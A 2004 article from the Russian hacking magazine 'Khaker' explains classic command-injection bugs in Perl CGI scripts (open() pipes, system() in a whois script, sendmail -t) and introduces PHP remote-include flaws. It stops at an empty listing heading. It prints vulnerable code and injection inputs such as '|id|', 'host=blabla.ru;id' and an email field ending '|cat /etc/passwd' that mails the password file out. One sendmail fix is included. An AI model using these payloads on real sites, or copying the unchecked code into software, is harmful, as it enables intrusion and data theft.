Спецвыпуск журнала «Хакер» 47, октябрь 2004 г.

Начнем с самой популярной ошибки программистов. Баг таится в функции open(), которая есть в каждом более-менее серьезном сценарии. Суть ошибки состоит в следующем: функции передается имя файла, который необходимо прочитать и вывести на экран. Само имя поступает с входа CGI-потока, то есть задается удаленным пользователем как параметр скрипта. Всем известно, что open() понимает символ перенаправления (пайп) «|». Если этот символ встретится перед именем или после имени, функция попытается обратиться к файлу и выполнить его как команду! Хакеру достаточно изменить параметр скрипта на команду и обрамить ее вертикальными палочками.

Рассмотрим это на наглядном примере. Пусть в сценарии юзается следующий код:

Листинг

$file=param(«file»);

open(FILENAME,$file);

while( ) { print }

close(FILENAME);

Мы видим, что переменная $file поступает с потоком данных. Она не проверяется на наличие каких-либо спецсимволов, поэтому хакер без проблем может добавить в переменную парочку пайпов. При нестандартном запросе в open() поступит переменная «|id|», которая выполнится как команда, а результат будет выведен на экран. Не думай, что этих скриптов мало – по статистике, каждый третий сервер можно атаковать таким тривиальным запросом.

system() погубит мир

Как известно, функция system() предназначена для выполнения системных команд. Изредка ее используют в CGI-сценариях, запуская внешние приложения. Ничего страшного не происходит, если системный запрос не содержит пользовательских параметров скрипта. В противном случае злоумышленник может добиться выполнения произвольной команды. Рассмотрим пример бажного кода. Проект, из которого он позаимствован, и по сей день находится в онлайне, его код удалось выцепить после успешного эксплуатирования ошибки.

Листинг

#!/usr/bin/perl

### Simply Perl-Whoiser by XXX.

use CGI qw(:standard);

$host=param(«host»);

system(«whois $host > log»);

…

После того как скрипт получил параметр host, он выполняет system() с этой опцией безо всякой проверки символов. Стоит атакующему подставить в переменную $host (читай: в параметр скрипта host) символ ‘;’, а за ним произвольную команду, как в файл log поместится уже не ответ бинарника /usr/bin/whois, а команда взломщика. К примеру, запрос вида http://victim.com/whois.cgi?host=blabla.ru;id покажет текущего пользователя (то есть пользователя, с правами которого выполняются cgi-скрипты на сервере).

Sendmail – враг народа

Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключается в использовании опции –t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGI-скрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги:

Листинг

use CGI qw(:standard);

$email=param(«email»);

open(MAIL,"|/usr/sbin/sendmail –t $email");

print MAIL «From: admin@victim.com\n»;

print MAIL «Subject: Thanks\n\nThank you!\n»;

close(MAIL);

Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде lamer@xakep.ru|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста.

Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг:

Листинг

die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail");

print MAIL «To: $email\n»;

# …

О бедном include замолвите слово

Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким:

Листинг